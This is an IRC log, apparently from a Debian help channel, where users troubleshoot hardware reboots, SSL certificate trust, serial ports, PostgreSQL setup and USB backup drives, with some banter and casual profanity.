| 08:26.47 | sml | yxa: of course you can |
| 08:26.52 | karsten | jc_: Um. Because your kernel can't handle the spurious electrical signals. |
| 08:27.12 | jc_ | spurious electrical signals? |
| 08:27.12 | sml | yxa: but since the cert is not "signed" people have to take teh cert at face value since no one has verfified the authenticity of the owner/domain |
| 08:27.25 | sml | yxa: you are saying "trust me bitch". |
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| 08:28.16 | sml | yxa: a signed one says "this is signed by Verisign, you trust verisign, so this cert is ok and has been checked out (hopefully) by Verisign inc" |
| 08:28.17 | jc_ | karsten: in short the kernel reboots if there is a problem with the memory? |
| 08:28.20 | Nwallins | miyo: what do you think about skip-networking (closes the port) vs. only listening for 127.0.0.1 (debian default)? |
| 08:28.23 | sysdrum__ | jc:your power supply may be acting up.. if it dies not log off then reboot you may need ot check the power supply |
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| 08:28.34 | sml | yxa: however google for "IDN spoofing" to see why all this stuff is a crock of shit in the real world. |
| 08:28.39 | karsten | jc_: It's been known to happen. |
| 08:28.50 | sml | yxa: i can change my name tomorrow to Mickey Mouse. i can then get a certificate from verfisn saying im mickey mouse. |
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| 08:29.07 | sml | yxa: do you now see the problems with authenticity :-) |
| 08:29.12 | karsten | jc_: odds are good you've got a hardware problem. Likely candidates are CPU, RAM, or mobo. Your mission, should you choose to accept it, is to figure out which. |
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| 08:29.28 | valdyn_ | jc_: no, if theres a problem with memory, the kernel does not necessarily notice that |
| 08:29.43 | jc_ | hummm |
| 08:29.57 | sysdrum__ | jc early or late p3? |
| 08:30.28 | jc_ | humm |
| 08:30.30 | jc_ | late? |
| 08:30.37 | jc_ | how do i see that? |
| 08:30.39 | yxa | sml ok sorta... |
| 08:30.47 | jc_ | model name : Pentium III (Coppermine) |
| 08:30.48 | karsten | jc_: In my case, with bad caps, memtest would show corrupted RAM in some tests but not others. cpuburn would crash hard pretty fast. Swapping RAM didn't fix the problem. And I had leaky caps. |
| 08:30.53 | karl | Hi. Can anyone help. I have 2 isp and and I balance trafic. Everything seems to work but licq It keep sayin error during receiving from server socket :-(( Connection reset by peer |
| 08:31.04 | karsten | jc_: Speedstep's also problematic. |
| 08:31.05 | sysdrum__ | jc okay so it is a late model |
| 08:31.19 | sysdrum__ | hmmm |
| 08:31.39 | sysdrum__ | jc is it in a laptop? |
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| 08:31.47 | sml | yxa: PGP is no better really since it's "web of trust" design is even more chaotic and convoluted. |
| 08:32.01 | sml | yxa: unless you apply it properly :-) |
| 08:32.01 | jc_ | no |
| 08:32.04 | jc_ | its a desktop |
| 08:32.11 | jc_ | ibm netvista |
| 08:32.31 | jc_ | karsten: is speedstep active if i use the debian kernel package? |
| 08:32.43 | omry_ | hi, whats the serial port file in /dev ? |
| 08:32.51 | jm_ | omry: read devices.txt |
| 08:32.53 | valdyn_ | jc_: not unless you load the modules manually |
| 08:33.07 | jc_ | so then its not |
| 08:33.13 | sysdrum__ | okay speedsteping would have no problem... |
| 08:33.13 | sml | what is "none on /dev/shm type tmpfs" ? |
| 08:33.23 | sml | or better what device is /shm ? shared mem ? |
| 08:33.25 | sysdrum__ | it not like HT.. |
| 08:33.34 | valdyn_ | sml: yes |
| 08:33.35 | karsten | jc_: Speedstep's active if you select it in BIOS. It fucks your kernel hard. Shouldn't come into play unless you're connecting / disconnecting your power supply. Or have a flaky PS. |
| 08:33.38 | sml | nagual: cheers! yum yum. got any BBQ sauce ? |
| 08:33.39 | omry_ | jm_, let me guess. a part of the kernel docs package? |
| 08:33.43 | karsten | jc_: It's usually laptop only. |
| 08:33.45 | simonrvn | sml: posix shared mem, yes |
| 08:33.46 | nagual | hehe ;-) |
| 08:33.50 | sml | Ok thanks :) |
| 08:33.54 | nagual | haha |
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| 08:34.04 | nagual | i so enjoy people with a sense of humour |
| 08:34.14 | jm_ | omry_: yes, you can also find it on-line if you don't have it installed (anyway, ttyS*) |
| 08:34.27 | sysdrum__ | Well I think it may be a bad M/B.. |
| 08:34.28 | jc_ | well in /sys/devices/system/cpu/cpu0/ there is no scaling_setspeed or something |
| 08:34.40 | omry_ | jm_, I am installing it now. |
| 08:34.42 | polok | hmm, what's a wildcard to show a list in directories that start with either u or t? |
| 08:34.43 | yxa | sml ok, how do i convince someone who thinks ssl is useless w/o a 3rd party ca |
| 08:34.46 | sysdrum__ | more then likely a intel610 |
| 08:34.59 | sml | yxa: You will have a hard time since they're brain dead. |
| 08:35.15 | sml | yxa: you will most probably have to get a known root ca signed cert before they'll deal with you |
| 08:35.25 | sml | yxa: however dont worry there are companies that offer FREE certs nowadays |
| 08:35.28 | jc_ | if the kernel would panic, it would write an entry in kern.log? |
| 08:35.28 | sml | (IIRC) |
| 08:35.38 | peterS | sml: kind of like companies who sell college degrees? |
| 08:35.45 | sml | peterS: lol |
| 08:35.51 | simonrvn | sml: crappy browsers that tell them that only 3rd-party CA certs are secure (as can be anyway) doesn't help either |
| 08:35.57 | peterS | sml: seriously, are these companies whose root certs anyone bothers to trust? |
| 08:36.03 | sml | peterS: yes they are |
| 08:36.05 | simonrvn | peterS: heh heh |
| 08:36.09 | sml | peterS: let me see if i can dig out the url |
| 08:36.18 | sml | peterS: it is a proper well known CA (one of them) |
| 08:36.21 | sml | hang on .. |
| 08:36.25 | sysdrum__ | jc Yeah but if the mother board loss power or thinks it is it will cause the kern to reboot |
| 08:36.29 | simonrvn | jc_: if it doesn't lock up totally first, yes |
| 08:36.41 | omry_ | jm_, happen to know how I can tell (without rebooting into bios setup) if the com ports are enabled? |
| 08:36.48 | peterS | sml: I know about 90-day "evaluation" certs you can get for free. but nobody wants to rotate their cert every 90 days, even if you could do that |
| 08:36.57 | jc_ | so i think the power supply could be the problem |
| 08:37.01 | jm_ | omry_: check kernel's output (dmesg) |
| 08:37.09 | sion | how to run multi-files under gdb? |
| 08:37.16 | jc_ | or the power in general |
| 08:37.18 | simonrvn | peterS: eew. 90 days? ouch. i couldn't imagine doing that every 90 days |
| 08:37.29 | sml | www.freessl.com/ |
| 08:37.37 | sysdrum__ | m/b cpu or mem |
| 08:37.40 | sml | peterS: no these are proper certs IIRC |
| 08:37.41 | peterS | simonrvn: and that's even if the company lets you get a new free one every 90 days. I'd imagine they check for that |
| 08:37.49 | sysdrum__ | p/s maybe |
| 08:37.51 | simonrvn | yeh.. |
| 08:37.53 | omry_ | jm_, thanks. |
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| 08:38.27 | sysdrum__ | jc I think it a motherboard issue |
| 08:38.32 | sml | peterS: hrmm... actually that seems to be a con.. not sure if that's the place i saw before or not :-/ |
| 08:38.37 | simonrvn | i make 'em a strong as feasible. large bit count, etc. |
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| 08:38.56 | sml | peterS: certainly a free cert providing ca would be good for the open community but they have to pay for the running costs somehow. |
| 08:39.02 | amir | im trying to use parted to resize an extended partition that is not being used (nothing in it is mounted), and i get an error that it is.. hints anyone? |
| 08:39.10 | jc_ | sysdrum__: why? |
| 08:39.11 | sml | peterS: I'm sure there is ONE such company.. i remember seeing their page last year. |
| 08:39.15 | simonrvn | sml: i thought of doing that, and pay for it via donation or such |
| 08:39.19 | peterS | sml: right. they have to check you out pretty thoroughly, or there's no reason for anyone to trust them |
| 08:39.29 | omry_ | jm_, if I have no 'serial' appearing in dmsg, would you say its not enabled? |
| 08:39.31 | sml | peterS: Like I said, there are overheads :) |
| 08:39.36 | peterS | sml: such research can't be cheap on their end, if they're doing much of it. yeah. |
| 08:39.39 | yxa | sml but you said we dont need 3rd party certs? |
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| 08:39.44 | jm_ | omry_: how did you check? |
| 08:39.53 | sml | I'm not sure how much of a thorough job the likes of thwate et al make anyway |
| 08:40.00 | simonrvn | sml: but it turned into just a place where visitors can fetch a copy of the CA cert =) |
| 08:40.08 | jm_ | omry: grep for ttyS or Serial, but not serial |
| 08:40.18 | bkhl | Where's the canonical place to put commands that I need to be run at boot time? (For modprobing stuff that discover doesn't discover.) |
| 08:40.21 | simonrvn | grep -i ;p |
| 08:40.28 | sml | simonrvn: :-) I wanted to setup a CA too. It's very very hard to get bundled in with products like IE nowadays. It's too late the train has left :(( |
| 08:40.30 | omry_ | jm_, grep -i serial /var/log/dmesg, I saw serial ATA, but I missed something which might be it.. |
| 08:40.36 | sysdrum__ | jc I am not much fan of flip chips anyway.. well there is not error just reboot. and mem would freeze the system not reboot and the cpu also .. and power supply would just shut down. |
| 08:40.38 | omry_ | jm_, looking into it.. |
| 08:40.42 | sml | without SSL we wouldnt have eCommerce. its now way too valuable. |
| 08:40.48 | simonrvn | sml: nah, i wasn't going to bother with IE ;) |
| 08:40.55 | jm_ | omry_: it will say ttyS... - make sure your kernel has support for serial ports |
| 08:40.59 | sml | simonrvn: :-) |
| 08:41.14 | sml | i need to get some coding done or im not going to be able to go down the pub at 4pm :( |
| 08:41.23 | simonrvn | sml: what were you going to use? something like pyca or openca? |
| 08:41.24 | sysdrum__ | jc so the only thing I would see that would cause it to reboot would be a fault in the krnl caused by the motherboard |
| 08:41.34 | sml | simonrvn: I already run my own CA ;) |
| 08:41.36 | omry_ | jm_, I have "Serial: 8250/16550 driver $Revision: 1.90 $ 54 ports, IRQ sharing enable", which seems related, but no tty anywhere. |
| 08:41.43 | jc_ | i would have to check the bios |
| 08:41.46 | simonrvn | sml: ha, cool. :) |
| 08:41.54 | jc_ | there is an option reboot after power failure |
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| 08:42.03 | omry_ | jm_, does it mean the kernel supports it but its disabled in the bios? |
| 08:42.12 | sml | simonrvn: i'd show you my site but it requires client certificates |
| 08:42.39 | jc_ | sysdrum__: k |
| 08:42.41 | jc_ | thx |
| 08:42.42 | sml | i use the client certificates for authentication and a mapping of certificates in a datbase for authorization. |
| 08:42.48 | inc|freaky | now, as i have everything set up, after a week of customizing everything, i just noticed i allready got 21% of my disk-space used ... now ill probably reinstall debian after i figured out how to install the amd64 version |
| 08:43.04 | sml | i still use a site login on top of that though just in case :) |
| 08:43.12 | simonrvn | sml: nice |
| 08:43.16 | sysdrum__ | jc true |
| 08:43.37 | jm_ | omry_: well check the next few lines after that one |
| 08:43.40 | jc_ | hrmm |
| 08:43.47 | jc_ | i'll have to attach a monitor to |
| 08:43.48 | sml | simonrvn: in a way having an in-house CA that creates client certificates is quite a secure implementation ;) |
| 08:43.49 | jc_ | it |
| 08:44.34 | omry_ | jm_, nothing.. in fact, on my other computer I do see ttyS0, so I guess its time to reboot :). thanks. |
| 08:44.34 | sysdrum__ | replace the power supply is like 30 or so.. |
| 08:44.43 | jm_ | omry_: yeah check BIOS then |
| 08:45.08 | sml | simonrvn: it adds extra secrutiy in the CSR part of the process since you can vet the applicants |
| 08:45.34 | simonrvn | sml: no doubt ;). which is partly why i was setting it up. i need to re-do it all. there's no debian packages, so making it a bit hard to keep up to date along with the 1000 other things i do a day |
| 08:45.35 | sysdrum__ | but I think it is the mob but it could be the power |
| 08:45.48 | sml | simonrvn: you cant stop other people on the net called "Simon Smith" going to verisign and obtaining a certificate, the ca of which is someone that your webserver trusts which is sick :) |
| 08:46.30 | simonrvn | sml: i know. i dislike verisign - esp. since that crap they pulled with DNS .com .net DNS |
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| 08:46.48 | sml | simonrvn: you're right. some CA's are more braindead than others. |
| 08:47.17 | simonrvn | woops, s/^DNS// |
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| 08:48.06 | simonrvn | sml: get to coding ;) |
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| 08:50.48 | karsten | What's large, grey, wet, and runs TuxRacer? |
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| 08:52.00 | simonrvn | karsten: g'night |
| 08:52.26 | karsten | simonrvn: Thar she blows! |
| 08:52.39 | MobyTurbo | ha ha |
| 08:52.41 | simonrvn | :) |
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| 08:55.17 | ChrisW | hi there, I got an old box who's hardware is becoming available, it's a dual PIII 500Mhz, 512Mb RAM, 20GB Ultra2 SCSI disk, Matrox G400 graphics card. Does that sounds like it'll run debian fine? |
| 08:55.33 | MobyTurbo | ChrisW: certainly |
| 08:55.34 | simonrvn | yes |
| 08:55.37 | PerfDave | ChrisW: Yep |
| 08:55.54 | simonrvn | mmm, dual |
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| 08:56.10 | ChrisW | dual? |
| 08:56.14 | ChrisW | godd? bad? |
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| 08:56.34 | simonrvn | good |
| 08:56.43 | simonrvn | double the fun ;) |
| 08:56.48 | ChrisW | anyway,. cool, one other question: one of hte uses I want to put it to is for backing up other machines... I thought about getting some cheap USB hard drives and rsyncing onto them. reckon it'll work? does debian have drvers for USB HD's, etc? |
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| 08:57.01 | ChrisW | heh, yeah, dual is good except when running python web servers ;-) |
| 08:57.10 | simonrvn | heh |
| 08:57.28 | simonrvn | should do. same basic kernel as the other distros |
| 08:58.04 | ChrisW | well, bear in mind I'm used to using windows, so I just wanna check that p'n'p usb works just fine on debian ;-) |
| 08:58.26 | ChrisW | (i'm thinking along the lines of "shit, my house is on fire, yank USB drive from top of backup machine and run...) |
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| 08:58.49 | simonrvn | you don't need pnp |
| 08:59.15 | ChrisW | so, if I just yank the usb cable out of the drive and run, it should be okay? |
| 08:59.28 | simonrvn | you usually turn off pnp in the bios for linux (or used to) |
| 08:59.31 | MobyTurbo | ChrisW: you'll probably want hotplug or usbmgr to handle hot plugging USB |
| 08:59.38 | simonrvn | yes |
| 08:59.45 | ChrisW | okay, at this stage I just wanna check that it's possible :-) |
| 08:59.48 | simonrvn | (agreeing with MobyTurbo) |
| 08:59.55 | jc_ | burnMMX seems to run well |
| 08:59.58 | MobyTurbo | ChrisW: and you'll want an SMP kernel to take advantage of the dual processors. |
| 09:00.28 | ChrisW | hmm, a gigabyte motherboard from around 1999/2000 is gonna have USB 1.0m, isn't it? |
| 09:00.31 | ChrisW | -m |
| 09:00.36 | simonrvn | yes |
| 09:00.50 | ChrisW | hurm, so I have to find USB 1.0 HD's right? |
| 09:00.57 | ChrisW | or will USB 2.0 devices work, just slowly? |
| 09:01.01 | simonrvn | if you're going to be doing that, you should maybe get a usb 2 pci card |
| 09:01.05 | ChrisW | true |
| 09:01.20 | ChrisW | *sigh* I wish I could remember to buy eerything in one go... |
| 09:01.27 | ChrisW | oh well, the new machine is going to be sweeeet |
| 09:01.34 | simonrvn | just for the larger bandwidth and the usage you're putting it to. be a good idea |
| 09:01.34 | Noid | ChrisW: usb 2 will work, slowly |
| 09:01.36 | ChrisW | sadly hs to run WinXP *schniff* |
| 09:01.40 | omry_ | jm_, I got ttyS0, if there is some traffic there, I should be able to see it by catting /dev/ttyS0, right? |
| 09:01.47 | Noid | omry_: yes |
| 09:01.52 | PerfDave | ChrisW: USB2 is backwards compatiable with USB1, but transferring significant amounts of data over USB1 is pretty damn painful. |
| 09:02.00 | ChrisW | *nods* |
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| 09:02.18 | Gumby | can anyone tell me where the equivalent to rc.local might be? |
| 09:02.36 | simonrvn | !rc.local |
| 09:02.37 | dpkg | hmm... rc.local is the boot script for BSD/slackware/redhat systems but is considered to be a hack for lazy people. Use the sysvinit method via update-rc.d, or read /etc/init.d/README or "man update-rc.d", or try "sysvconfig", or /etc/rc.boot/ directory, /etc/init.d/bootmisc.sh file and /etc/init.d/skeleton template. If you don't like SysV, consider file-rc. |
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| 09:06.54 | Haruko | Man taking for ever to grab Sarge DVD |
| 09:07.18 | MobyTurbo | Haruko: just get the little netinst CD image |
| 09:07.33 | DiPx | you think thats long haruko trying asking them how to setup a mail server, LOL |
| 09:07.36 | Haruko | haha but then I would have to wait for my packages to download :) |
| 09:07.57 | TinoW | Haruko: but you barely need _all_ packages |
| 09:07.59 | Haruko | Does the DVD not include a somewhat up to date build of KDE along with X window Server on it? |
| 09:08.04 | PerfDave | Haruko: You'll have to do that anyway, when you upgrade. And you're downloading an assload of stuff you don't need. |
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| 09:08.10 | Haruko | Yes... but Im one of those people that just has to have it.... |
| 09:08.14 | PerfDave | !full CD advocacy |
| 09:08.14 | dpkg | [full cd advocacy] you can download the images while using your computer for something else, but you can't use your computer while Debian is netinstalling. It takes a full desktop install down to under half an hour from a couple of hours, even on ADSL. A full CD image will also have kernel source in case of problems. but only download the first cd, you greedy ... |
| 09:08.27 | Haruko | lol |
| 09:08.37 | Haruko | damn... I have at least half the DVD |
| 09:08.42 | Haruko | so lame |
| 09:08.43 | Haruko | ok ok |
| 09:08.49 | Haruko | !sargeCD |
| 09:08.49 | PerfDave | Then again, the DVD is pretty handy if you're installing lots of PCs with no net connection. |
| 09:08.53 | PerfDave | !d-i |
| 09:08.53 | dpkg | i guess d-i is the new installer for sarge (debian 3.1), at http://www.debian.org/devel/debian-installer/ or see #debian-boot, but don't pester the d-i devs with unrelated questions, or see <debian-installer> |
| 09:09.12 | TinoW | PerfDave: there are PCs w/o net connection? ;) |
| 09:09.17 | Haruko | :) |
| 09:09.18 | prock | is there a 'defacto automake version'? |
| 09:09.26 | cafuego | TinoW: Yes. They're called Centrino laptops |
| 09:09.34 | TinoW | cafuego: muhaha ;) |
| 09:09.35 | Haruko | LOL! |
| 09:09.55 | ChrisW | hey Tino :-) |
| 09:10.05 | ChrisW | hmmm, anyone know of a good source of cheap USB 2.0 HDDs? |
| 09:10.22 | cafuego | ChrisW: crime |
| 09:10.23 | Haruko | 110mb Now Im pissed |
| 09:10.27 | Haruko | lol |
| 09:10.33 | cafuego | Haruko: There'sa 40Mb one too |
| 09:10.39 | Haruko | «ChrisW» How big? |
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| 09:11.25 | ChrisW | 100-200GB or so |
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| 09:11.30 | ChrisW | need 2 or three |
| 09:11.38 | PerfDave | ChrisW: You probably just want an IDE HDD, with a USB2.0 enclosure. |
| 09:12.00 | ChrisW | PerfDave: yep, that'd do |
| 09:12.16 | libpcp | anyone familiar with this error too many session files in /var/tmp while running vi ? |
| 09:12.22 | PerfDave | ChrisW: USB2 enclosures for IDE/PATA drives are dirt cheap, check your friendly local computer supplier. |
| 09:13.01 | cafuego | ChrisW: The trick is to obtain a bus-powered one. |
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| 09:13.19 | The_Ball | karsten, i wrote a mail to abuse@aol.com asking them to remove the user, since the binary is still up on the website |
| 09:13.21 | ChrisW | cafuego: indeed :-) |
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| 09:14.00 | PerfDave | cafuego: Does the USB bus provide enough juice for an HDD? You'll probably have to cock around with powered hubs etc. |
| 09:14.00 | cafuego | I have a USB2 one, but that also needs power via aplug in the PS/2 port |
| 09:14.18 | The_Ball | cafuego, have you got a card with firewire power? |
| 09:14.23 | cafuego | PerfDave: That makes them extremely usless with laptops. |
| 09:14.25 | d3s | hi.. I'm behind aIN=eth0 OUT= MAC=00:04:23:81:f7:e0:00:0f:66:90:ac:e7:08:00 SRC=203.102.108.155 D |
| 09:14.25 | d3s | ST=192.168.xxx.xxx.xxx LEN=40 TOS=0x00 PREC=0x00 TTL=55 ID=10814 PROTO=TCP SPT=6346 DP |
| 09:14.26 | d3s | T=34029 WINDOW=0 RES=0x00 ACK RST FIN URGP=0 firewall but how come i get this? |
| 09:14.34 | d3s | sorry |
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| 09:14.47 | The_Ball | cafuego, that's rated at 30V 2A or something? |
| 09:14.58 | d3s | i;m behind firewall but how come i get those message? |
| 09:15.00 | cafuego | The_Ball: No, no. |
| 09:15.03 | PerfDave | cafuego: Hmm, ChrisW was talking about transferring the drive between several desktops, a seperately powered enclosure may be easier. |
| 09:15.11 | cafuego | The_Ball: We'll see how we go when it arrives. |
| 09:15.12 | Gathond | cafuego: std IDE enclosure and bus (USB2 powered) is if i recall the maximum power rating of USB correctly ... well either very very tricky or downright impossible (think it is 100mW you can draw over USB) |
| 09:15.13 | Haruko | wow 8mb |
| 09:15.28 | cafuego | I note that MACS have decently powered usb ports and generally don't need external power |
| 09:15.30 | Haruko | I get free 20gb harddrives all the tiem :P |
| 09:15.35 | PerfDave | ChrisW: If you want to do backups onto a USB HDD, you can do it all over the network if your PCs are on a LAN, using software like AMANDA. |
| 09:15.53 | PerfDave | Haruko: Can I have one? My box here has a 2Gb HDD... |
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| 09:16.00 | PerfDave | ...which was an upgrade from the old 200Mb one. |
| 09:16.06 | Haruko | Want to pay Shipping from Hawaii? |
| 09:16.10 | The_Ball | Gathond, a properly powered FW bus should provide 60watt if i remember correctly |
| 09:16.15 | cafuego | piiiiiiiiiiiiiiiiza |
| 09:16.23 | Gathond | The_Ball: but FW is not USB2 :) |
| 09:16.29 | PerfDave | Haruko: Hmm, might be cheaper just to go get one ;) |
| 09:16.34 | Haruko | I get P3 700mhz boxes with 20gb harddrives (Actually Dell GX110's) for about 35 bucks from the local college |
| 09:16.49 | Haruko | They love Windows xp I set many of my friends up with them |
| 09:16.49 | PerfDave | Haruko: Whoa, that's a sweet deal. |
| 09:16.58 | nagual | Haruko: you need to send me a few of those :) |
| 09:17.02 | Haruko | Even better is when they sell their G4's at that price :) |
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| 09:17.09 | Haruko | the QuickSliver ones |
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| 09:17.19 | PerfDave | Hmm, cheap Dells and G4s to install Debian on ;) |
| 09:17.19 | Haruko | Their IT dept is sooo stupid :) |
| 09:17.23 | Haruko | I love them |
| 09:17.41 | Haruko | They sell CRT Displays at 5 bucks a pop |
| 09:17.45 | Haruko | :) |
| 09:18.00 | Haruko | from 15-21in |
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| 09:18.54 | MobyTurbo | Haruko: where are you? |
| 09:19.00 | simonrvn | whoah |
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| 09:19.05 | Haruko | Hawaii |
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| 09:19.38 | Haruko | http://www.donkeybeliever.com/ace/images/myroom/My%20Room%20001.jpg fatty there was only 5 bucks :) |
| 09:20.01 | Haruko | Forget LCD for now Im not going to blow 700 bucks |
| 09:20.06 | Haruko | 5 is fine for me :) |
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| 09:21.39 | toukitsune | Hello. I have an RM file I need to play. what do I use to play it? |
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| 09:22.49 | simonrvn | Haruko: i note the light bulbs you have. very cool |
| 09:22.58 | Haruko | lol thanks I love those things |
| 09:23.00 | x_or | Can anyone tell me how I use postgres once I've installed using apt-get. Is there a standard username/password combination. Where do I read more about this? |
| 09:23.02 | simonrvn | Haruko: yup. nice monitor |
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| 09:23.18 | Haruko | lol its fat and heavy but its 21 Im willing to make the trade off |
| 09:23.21 | simonrvn | x_or: createdb/createuser |
| 09:24.03 | x_or | simonrvn: OK, do I need to connect initially as root, or another user? |
| 09:24.21 | x_or | 'user "root" does not exist' |
| 09:24.38 | simonrvn | x_or: depends. read the --help. might have to run it as postgres user |
| 09:24.52 | x_or | Ah, OK. |
| 09:24.59 | x_or | --help, for createdb? |
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| 09:25.14 | simonrvn | both |
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| 09:25.51 | Sillypud | Could someone help me with apt-get? I pasted the error log here http://tinyurl.com/5aaxq |
| 09:25.55 | Space_NL | great, a virus on this server going round. |
| 09:25.58 | abrocadabro | how can I check which file belongs to which package in here? |
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| 09:26.10 | abrocadabro | !redirect.php |
| 09:26.10 | dpkg | error: you do not have enough flags for that. (o required) |
| 09:26.15 | x_or | simonrvn: Is there a default password for the postgres user? |
| 09:26.30 | simonrvn | abrocadabro: /msg dpkg search |
| 09:26.45 | draconian | any ops awake? |
| 09:26.52 | Space_NL | anyways, got postfix running, with a majordomo .. but both i did not install myself .. now it works, but i wonder where i can find the list off virtual mail users (so mail for people who do no have actual accounts) |
| 09:27.01 | Sillypud | pwned |
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| 09:27.17 | simonrvn | x_or: no. whatever you configured for it. depends, do you have ident sameuser or md5 in /etc/postgresql/pg_hba.conf ? |
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| 09:27.59 | simonrvn | !lart fucking AOL PROXIES |
| 09:28.24 | x_or | simonrvn: Looks like ident sameuser. |
| 09:28.25 | simonrvn | i swear i'm going to null route the fucking things |
| 09:28.27 | MobyTurbo | !ops adidaS and Student are spambots |
| 09:28.28 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: adidaS and Student are spambots |
| 09:28.36 | x_or | I didn't do any configuration, I just installed using apt-get and that was it. |
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| 09:28.55 | Space_NL | [10:28] <MobyTurbo> !ops adidaS and Student are spambots <<== no they are not, they are normal clients with a mirc virus |
| 09:29.02 | draconian | thank you helix |
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| 09:29.04 | simonrvn | x_or: then su - postgres as root should work, then run it (or su postgres -c "command --options") |
| 09:29.05 | Haruko | bob2 |
| 09:29.09 | Haruko | wtf I was talking to bob2 |
| 09:29.17 | Haruko | Just last night its not a spam bot? |
| 09:29.31 | MobyTurbo | Space_NL: spambots are called that even when they are caused by viruses. |
| 09:29.44 | x_or | simonrvn: Thanks, you da man! |
| 09:29.45 | Space_NL | MobyTurbo: hmm, different definition to spambots then .. lol |
| 09:29.57 | Rydekull | MobyTurbo: not really, but they work almost the same .P |
| 09:30.13 | MobyTurbo | Space_NL: IRC clients can be run as bot hosts without not being bot hosts. |
| 09:30.24 | Haruko | The GUI for the Sarge Installer needs to be more pretty :) |
| 09:30.33 | draconian | damn there has been a ton of annoying bots tonight |
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| 09:31.20 | draconian | or whatever they are |
| 09:31.33 | Haruko | lol why do they troll here? |
| 09:31.53 | draconian | they've been in all the major channels |
| 09:32.11 | draconian | #slackware, #redhat....etc |
| 09:32.15 | Space_NL | MobyTurbo: must admit i dont kick those on the other net i am on .. i usualy just gline em |
| 09:32.17 | Haruko | lol they are gates goons |
| 09:32.41 | draconian | lol |
| 09:32.51 | Haruko | does anyone in here use KDE? |
| 09:32.54 | osric | Are I2O and I2C the same thing? |
| 09:33.13 | peterS | osric: nope |
| 09:33.15 | Rydekull | no |
| 09:33.19 | Noid | !anyone |
| 09:33.19 | dpkg | ***anyone: No such nick/channel - and yes, there probably is someone, somewhere, who knows or runs it; that doesn't mean *I* do. |
| 09:33.23 | Space_NL | no one here who can tell me where i can find postfix virtual accounts ? |
| 09:33.35 | Haruko | !joke |
| 09:33.35 | dpkg | stop abusing the bot already |
| 09:33.37 | peterS | osric: I2C is a slow hardware bus used for config data on motherboards and graphics cards and suchlike |
| 09:33.39 | Haruko | :( |
| 09:33.42 | Haruko | I wanted a joke |
| 09:33.42 | osric | Well, that explains why lm-sensors don't work....:-) |
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| 09:34.07 | peterS | osric: I2O is "intelligent I/O" - an old standard interface for various PCI-based peripherals, supposed to be the next big thing but it never caught on |
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| 09:34.12 | simonrvn | and sound devices |
| 09:34.22 | peterS | osric: yeah, you need I2C for lmsensors |
| 09:34.37 | peterS | heh |
| 09:34.39 | peterS | it *is* confusing |
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| 09:34.46 | peterS | since most people have never heard of either one before |
| 09:34.50 | simonrvn | i'm *still* confused ;p |
| 09:34.57 | Haruko | Why do people hate Windows so much and rally around Linux? |
| 09:35.00 | osric | So that means I probably don't need I2O support? |
| 09:35.07 | simonrvn | probably not |
| 09:35.08 | peterS | osric: you almost certainly don't need I2O support |
| 09:35.22 | peterS | osric: very few I2O peripherals were ever sold, and those were in server-class hardware, back in the mid-90s |
| 09:35.41 | MobyTurbo | I get I2C loaded when I load my bttv tv tuner card drivers |
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| 09:35.51 | peterS | MobyTurbo: yeah |
| 09:36.08 | simonrvn | MobyTurbo: me i need i2c-keywest for alsa |
| 09:36.09 | osric | Well, it could be worse. I've just upgraded from a P133 to an 2000+XP, so kernel complies are that much quickerr :_) |
| 09:36.12 | x_or | simonrvn: Damn, one last question. I've successfully created a user with permissions to create a db. However, now running su - postgres -c "createdb -U bawdry" says IDENT auth failed. How do I set a password, or am I doing this incorrectly? |
| 09:36.34 | simonrvn | x_or: try again |
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| 09:36.45 | Gumby | could anyone suggest why an LVM that is mounted at /storage will not mount on another machine as an NFS share even though it has the exact same permissions as the mount point (/storage) and that directory WILL mount via a NFS share |
| 09:36.52 | MobyTurbo | I remember taking about a day to compile kernel 0.95 on a 386sx-16. :-) |
| 09:36.54 | peterS | osric: ha! it took me a moment to parse "2000+XP". at first I was thinking "Windows 2000, Windows XP" |
| 09:37.10 | x_or | simonrvn: Sorry, meaning, try the command to create the user again? |
| 09:37.12 | simonrvn | x_or: oh, wait, you need to set the database you're going to create ;) |
| 09:37.22 | osric | x_or: you need to check /var/lib/postgres/data/pg_hba.conf and pg_ident.conf |
| 09:37.29 | simonrvn | -U is for user to connect to postgres with |
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| 09:37.53 | simonrvn | you don't need pg_ident.conf entries for ident sameuser |
| 09:38.07 | Lexxus | how do i upgrade a single package (firefox)? |
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| 09:38.37 | peterS | Lexxus: apt-get install |
| 09:38.38 | x_or | simonrvn: OK. |
| 09:38.43 | peterS | Lexxus: if a package is already installed it upgrades it |
| 09:38.53 | Lexxus | peterS, ahhh okay, thanks |
| 09:39.03 | x_or | simonrvn: I think I need to do some reading. I don't understand how users interact with the postgres DB at this point. |
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| 09:40.00 | DiPx | it seems like all you guys/girls do is answer very basic questions |
| 09:40.02 | DiPx | :/ |
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| 09:40.13 | peterS | DiPx: it's most of what we do in *here* |
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| 09:40.54 | simonrvn | and here ;) |
| 09:40.54 | Rydekull | DiPx: start asking hard questions then? :P |
| 09:41.30 | DiPx | I did Rydekull lol. too many times if I do again it'll become a #flood situation lol |
| 09:41.34 | simonrvn | petemc: sucked into your head? ;p |
| 09:41.44 | petemc | yeah, plug into the back of the skull :) |
| 09:41.55 | simonrvn | hehe |
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| 09:42.29 | Jaano | hi there |
| 09:42.31 | Chameleon22 | is there an easy way to remove gnome and all its libs from the system (i installed kde and using that so want to get rid of gnome) on debian sid |
| 09:42.46 | simonrvn | kneet: haha |
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| 09:43.02 | simonrvn | Chameleon22: --purge the gnome libs |
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| 09:43.05 | jm_ | Chameleon22: remove core libs |
| 09:43.07 | kneet | was a "too much image" situation :-) |
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| 09:43.40 | Chameleon22 | mm soooo many |
| 09:43.43 | osric | Well gosh |
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| 09:44.07 | brynjarh | Chameleon22, http://lists.debian.org/debian-gtk-gnome/2005/02/msg00059.html |
| 09:44.08 | TinoW | Chameleon22: even if you use kde, there are still usefull gnome apps |
| 09:44.17 | TinoW | Chameleon22: end vice versa |
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| 09:44.34 | MobyTurbo | Chameleon22: even if you delete most of GNOME you'll need gtk and glib... |
| 09:44.45 | Chameleon22 | okies |
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| 09:45.02 | DiPx | Can someone please tell me how to setup a mail server so I could use webmail and get users start recieving email and sending through my domain |
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| 09:45.33 | reppal | is there a radeon card with 3d drivers avaiable for xorg? i mean, > R9200 |
| 09:45.34 | thesaboteur | DiPx: checkout qmail.org maybe. |
| 09:45.39 | sussudio | !breastfeed DiPx |
| 09:45.40 | jm_ | !removing gnome |
| 09:45.45 | TinoW | DiPx: this is a very advanced topic |
